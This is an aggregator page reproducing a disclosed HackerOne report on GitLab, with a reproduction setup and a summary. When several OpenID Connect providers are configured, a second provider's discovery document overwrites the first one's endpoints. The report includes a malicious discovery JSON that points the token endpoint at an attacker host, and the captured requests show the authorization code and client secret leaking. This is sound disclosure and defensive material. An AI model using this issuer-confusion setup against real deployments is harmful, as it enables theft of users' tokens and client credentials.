Skip to content
OAuth / SSO Disclosed report Advanced

Omniauth Providers are "partly" overwritten leading to Sensitive Information Disclosure and possible Auth. Bypass

When multiple OpenID Connect identity providers are configured in GitLab, the second provider's discovery document overwrites the endpoints of the first, so a malicious provider can redirect authentication to a benign provider while receiving the token request. This discloses the authorization code and client credentials to the attacker, who could then exchange them for the user's tokens.

GitLab

Originally disclosed on GitLab

  • Fixed in 33 days
  • Disclosed after 33 days

HackerOne report #906482 by lauritz on 2020-06-24, assigned to @kaunghtet:

I stumbled over following issues that request to configure multiple OIDC IdPs at a time [1][2].

Thus, I decided to test the current behavior: Turns out that if one client is registered, the second one overwrites sensitive parts of the definition. As a result, sensitive OIDC values like the state are disclosed to unintended and intransparent parties.

The behavior described below requires OIDC discovery to be enabled. If this is the case, a "dead" IdP configuration that is not supposed to work at all can overwrite sensitive parts of the primary configured IdP.

Steps to Reproduce

At first I would like to provide a retest setup for your triage. It is intended to highlight that the requests I will mention later on are actually being sent as described.

  1. On your docker host start HTTP listener:
python3 -m http.server 1234  

In order to obtain a temporary host that is accessible over TLS we use ngrok [3]:

> ngrok http 1234

ngrok by [@]inconshreveable                                                                                                                                           (Ctrl+C to quit)  
                                                                                                                                                                                      
Session Status                online  
Version                       2.3.35  
Region                        United States (us)  
Web Interface                 http://127.0.0.1:4040  
Forwarding                    http://redacted.ngrok.io -> http://localhost:1234  
Forwarding                    https://redacted.ngrok.io -> http://localhost:1234  
[...]        
  1. Create the following docker-compose.yml:
web:  
  image: 'gitlab/gitlab-ce:latest'  
  restart: always  
  container_name: 'gitlab'  
  hostname: 'gitlab.local'  
  environment:  
    GITLAB_OMNIBUS_CONFIG: |  
      external_url 'http://gitlab.local'  
      # Add any other gitlab.rb configuration here, each on its own line  
      gitlab_rails['omniauth_allow_single_sign_on'] = true  
      gitlab_rails['omniauth_block_auto_created_users'] = false  
      gitlab_rails['omniauth_external_providers'] = ['openid_connect']   
      gitlab_rails['omniauth_allow_bypass_two_factor'] = ['openid_connect']   
      gitlab_rails['omniauth_providers'] = [   
        {  
          'name' => 'openid_connect',  
          'label' => 'Correct IdP',  
          'args' => {  
            'name' => 'openid_connect',   
            'scope' => ['openid', 'profile'],   
            'response_type' => 'code',   
            'issuer' => 'https://redacted.ngrok.io/production',   
            'discovery' => true,   
            'client_auth_method' => 'query',   
            'client_options' => {  
              'identifier' => 'test.test',   
              'secret' => 'password',   
              'redirect_uri' => 'http://gitlab.local/users/auth/openid_connect/callback'  
            }    
          }  
        },  
        {  
          'name' => 'openid_connect',  
          'label' => 'Malicious IdP',  
          'args' => {   
            'name' => 'openid_connect',   
            'scope' => ['openid', 'profile'],   
            'response_type' => 'code',   
            'issuer' => 'https://redacted.ngrok.io/development',   
            'discovery' => true,  
            'client_auth_method' => 'query',   
            'client_options' => {  
              'identifier' => 'test.test',   
              'secret' => 'password2',   
              'redirect_uri' => 'http://gitlab.local/users/auth/openid_connect/callback'  
            }    
          }  
        }  
      ]  
           
  ports:  
    - '80:80'  
    - '443:443'  
  volumes:  
    - 'config:/etc/gitlab'  
    - 'logs:/var/log/gitlab'  
    - 'data:/var/opt/gitlab'  

Launch server using:

docker-compose up  
  1. Visit your Gitlab instance at http://gitlab.local/users/sign_in

  2. Click "Correct IdP"

ma20200020-1.png
ma20200020-1.png From the original on GitLab
  1. Observe incoming requests at your listener - example output from ngrok:
HTTP Requests                                                                                                                                                                         
-------------                                                                                                                                                                         
                                                                                                                                                                                      
GET /development/.well-known/openid-configuration 404 File not found    

As the secondary /.well-known/openid-configuration endpoint is used (in this example a development endpoint, but possibly a third-party controlled IdP), all endpoints used for OIDC authentication can be overwritten/controlled by the secondary IdP (beside the fact that the frontend label claims that the very first IdP is used).


Issuer Confusion Example

As an example setup including all involved entities is quite complex, I give you a hint on the requests being sent but omit the details for the setup I use. My benign IdP lives at https://keycloak.local:8443, the malicious IdP at https://malicious.com:9999. The Omniauth Provider setup is the following:

      gitlab_rails['omniauth_providers'] = [   
        {  
          'name' => 'openid_connect',  
          'label' => 'benign',  
          'args' => {  
            'name' => 'openid_connect',   
            'scope' => ['openid', 'profile'],   
            'response_type' => 'code',   
            'issuer' => 'https://keycloak.local:8443/auth/realms/master',   
            'discovery' => true,   
            'client_auth_method' => 'query',   
            'client_options' => {  
              'identifier' => 'gitlab.local',   
              'secret' => '33349a92-8bea-4e95-9f51-5d80e778e951',   
              'redirect_uri' => 'http://gitlab.local/users/auth/openid_connect/callback'  
            }    
          }  
        },  
        {  
          'name' => 'openid_connect',  
          'label' => 'malicious',  
          'args' => {   
            'name' => 'openid_connect',   
            'scope' => ['openid', 'profile'],   
            'response_type' => 'code',   
            'issuer' => 'https://malicious.com:9999',   
            'discovery' => true,  
            'client_auth_method' => 'query',   
            'client_options' => {  
              'identifier' => 'gitlab.local',   
              'secret' => '33349a92-8bea-4e95-9f51-5d80e778e951',   
              'redirect_uri' => 'http://gitlab.local/users/auth/openid_connect/callback'  
            }    
          }  
        }  
      ]

  1. User clicks on label for the Benign IdP

Request:

POST /users/auth/openid_connect HTTP/1.1  
Host: gitlab.local  
Content-Length: 130  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://gitlab.local  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) snap Chromium/83.0.4103.106 Chrome/83.0.4103.106 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://gitlab.local/users/sign_in  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmlPVGs1TldRMExUVXdORFV0TkdOak5pMDVPR1UyTFRjeFpqaGpOREJqTnpsallTST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--f75d8415d3f1963d0783116901bd41c7c2935769; _gitlab_session=654da15bb6a076210488cc35228a4589  
Connection: close

_method=post&authenticity_token=3GA%2FPQ85EO%2Fg5dMWq4BDBYUixy8v9LliNrkU%2FnvHHXYVrxz10PQsd1fK065R9g5NNqQ0Sq4Dgqy8kxmRjjNbHw%3D%3D  

In the Backchannel, Gitlab requests https://malicious.com:9999/.well-known/openid-configuration - the configuration of our malicious IdP. The malicious IdP responds with following configuration (striped and formated for better readability):

{
	"issuer": "https://malicious.com:9999",   
	"authorization_endpoint": "https://keycloak.local:8443/auth/realms/master/protocol/openid-connect/auth",   
	"token_endpoint": "https://malicious.com:9999/token",   
	"userinfo_endpoint": "https://malicious.com:9999/userinfo"  
}

As you can see, the Authorization Endpoint is set to the benign IdP. As a result, Gitlab responds to the user's request with a redirect to the benign IdP. The user can not identify that Gitlab was target of an Issuer Confusion Attack at this time at all:

HTTP/1.1 302 Found  
Server: nginx  
Date: Wed, 24 Jun 2020 00:07:47 GMT  
Content-Type: text/plain; charset=utf-8  
Content-Length: 316  
Connection: close  
Cache-Control: no-cache  
Location: https://keycloak.local:8443/auth/realms/master/protocol/openid-connect/auth?client_id=gitlab.local&nonce=8db2d16af5e229a17b456136e45e9560&redirect_uri=http%3A%2F%2Fgitlab.local%2Fusers%2Fauth%2Fopenid_connect%2Fcallback&response_type=code&scope=openid+profile&state=af8d5ce5b8111ef52ea0e022a7d45e94  
X-Request-Id: dYLx6uwoYX7  
X-Runtime: 1.122472  
Strict-Transport-Security: max-age=31536000  
Referrer-Policy: strict-origin-when-cross-origin

Redirecting to https://keycloak.local:8443/auth/realms/master/protocol/openid-connect/auth?client_id=gitlab.local&nonce=8db2d16af5e229a17b456136e45e9560&redirect_uri=http%3A%2F%2Fgitlab.local%2Fusers%2Fauth%2Fopenid_connect%2Fcallback&response_type=code&scope=openid+profile&state=af8d5ce5b8111ef52ea0e022a7d45e94...  
  1. After the user logged in successfully at the benign IdP, there is the Authentication Response redirect to Gitlab, in which the OIDC code parameter is transferred:
GET /users/auth/openid_connect/callback?state=af8d5ce5b8111ef52ea0e022a7d45e94&session_state=1668ce03-d24e-4fcd-b155-767d86988780&code=2fa3e59b-48ab-4519-8559-a2a18fe83ea8.1668ce03-d24e-4fcd-b155-767d86988780.d0964e7f-86e8-4708-87d0-05dc7f55c96f HTTP/1.1  
Host: gitlab.local  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) snap Chromium/83.0.4103.106 Chrome/83.0.4103.106 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmlPVGs1TldRMExUVXdORFV0TkdOak5pMDVPR1UyTFRjeFpqaGpOREJqTnpsallTST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--f75d8415d3f1963d0783116901bd41c7c2935769; _gitlab_session=654da15bb6a076210488cc35228a4589  
Connection: close

  1. Finally, Gitlab redeems the provided code parameter at the configured Token Endpoint:
POST /token HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Rack::OAuth2 (1.9.3) (2.8.3, ruby 2.6.6 (2020-03-31))  
Accept: */*  
Date: Wed, 24 Jun 2020 00:08:08 GMT  
Content-Length: 322  
Host: malicious.com:9999  
Connection: close

grant_type=authorization_code&code=2fa3e59b-48ab-4519-8559-a2a18fe83ea8.1668ce03-d24e-4fcd-b155-767d86988780.d0964e7f-86e8-4708-87d0-05dc7f55c96f&redirect_uri=http%3A%2F%2Fgitlab.local%2Fusers%2Fauth%2Fopenid_connect%2Fcallback&scope=openid+profile&client_id=gitlab.local&client_secret=33349a92-8bea-4e95-9f51-5d80e778e951  

As you can see, Gitlab discloses a valid code and its client credentials (client_id, client_secret) to the malicious IdP in doing so.

If you observe the HTTP Proxy History of Burp for the Backchannel, you can easily tell that overwriting the endpoints did work and where the information was sent to:

ma20200020-2.png
ma20200020-2.png From the original on GitLab

References

[1] https://gitlab.com/gitlab-org/gitlab-foss/-/issues/57923
[2] https://gitlab.com/gitlab-org/gitlab-foss/-/issues/14990
[3] https://ngrok.com/

Impact

As seen before, the secondary identity provider can overwrite all OIDC endpoints (requirement for this is, that OIDC discovery has to be enabled). Thus, a malicious actor could set the Authentication Endpoint to a benign and trusted IdP, but the Token Endpoint to his controlled endpoint.

If a user then starts the OIDC Login flow, he will be forwarded to the benign IdP's Authentication Endpoint. After successful authentication at the IdP, the benign IdP will respond with a valid code intended for Gitlab. In the following, Gitlab will issue a Token Request including its client credentials and a valid code to the registered Token Endpoint (that is controlled by the attacker). The malicious actor (acting as IdP from Gitlab's perspective) could then simply forward this information to the benign IdP and and would receive the user's id_token and an access_token with the privileges the user granted to Gitlab.

Fix

At the moment apparently it is not intended to support multiple OIDC IdPs at a time. If this is the case, Gitlab should not allow to specify "dead" IdPs. In every case Gitlab must not allow IdPs to overwrite each other's configuration.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

[REDACTED] [REDACTED]

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the application stores OIDC provider configurations in a shared structure keyed by provider name, so a second provider with the same name overwrites the first provider's endpoints.

Impact

A malicious identity provider could obtain a valid authorization code and the client credentials, and by forwarding them to the benign provider, receive the user's id_token and access_token with the privileges the user granted to GitLab.

What the attacker needed

OIDC discovery enabled; multiple OIDC IdPs configured; attacker controls one IdP

The fix

GitLab should not allow identity providers to overwrite each other's configuration, and should not permit 'dead' IdPs when multiple OIDC providers are not supported.

How it was found

  1. Set up a GitLab instance with two OpenID Connect providers configured, both with discovery enabled.
  2. Click the login button for the first (benign) provider.
  3. Observe that GitLab requests the discovery document from the second (malicious) provider's issuer URL.
  4. The malicious provider returns a discovery document with the authorization endpoint pointing to the benign provider and the token endpoint pointing to itself.
  5. GitLab redirects the user to the benign provider for authentication.
  6. After the user logs in, GitLab sends the authorization code and client credentials to the malicious token endpoint.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

GitLab can be set up to let people log in through an external service called an identity provider (IdP). If two such services are configured, the second one can secretly replace the settings of the first. This means a malicious service can trick GitLab into sending it secret login codes and passwords meant for the real service.

What is OAuth / SSO?

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.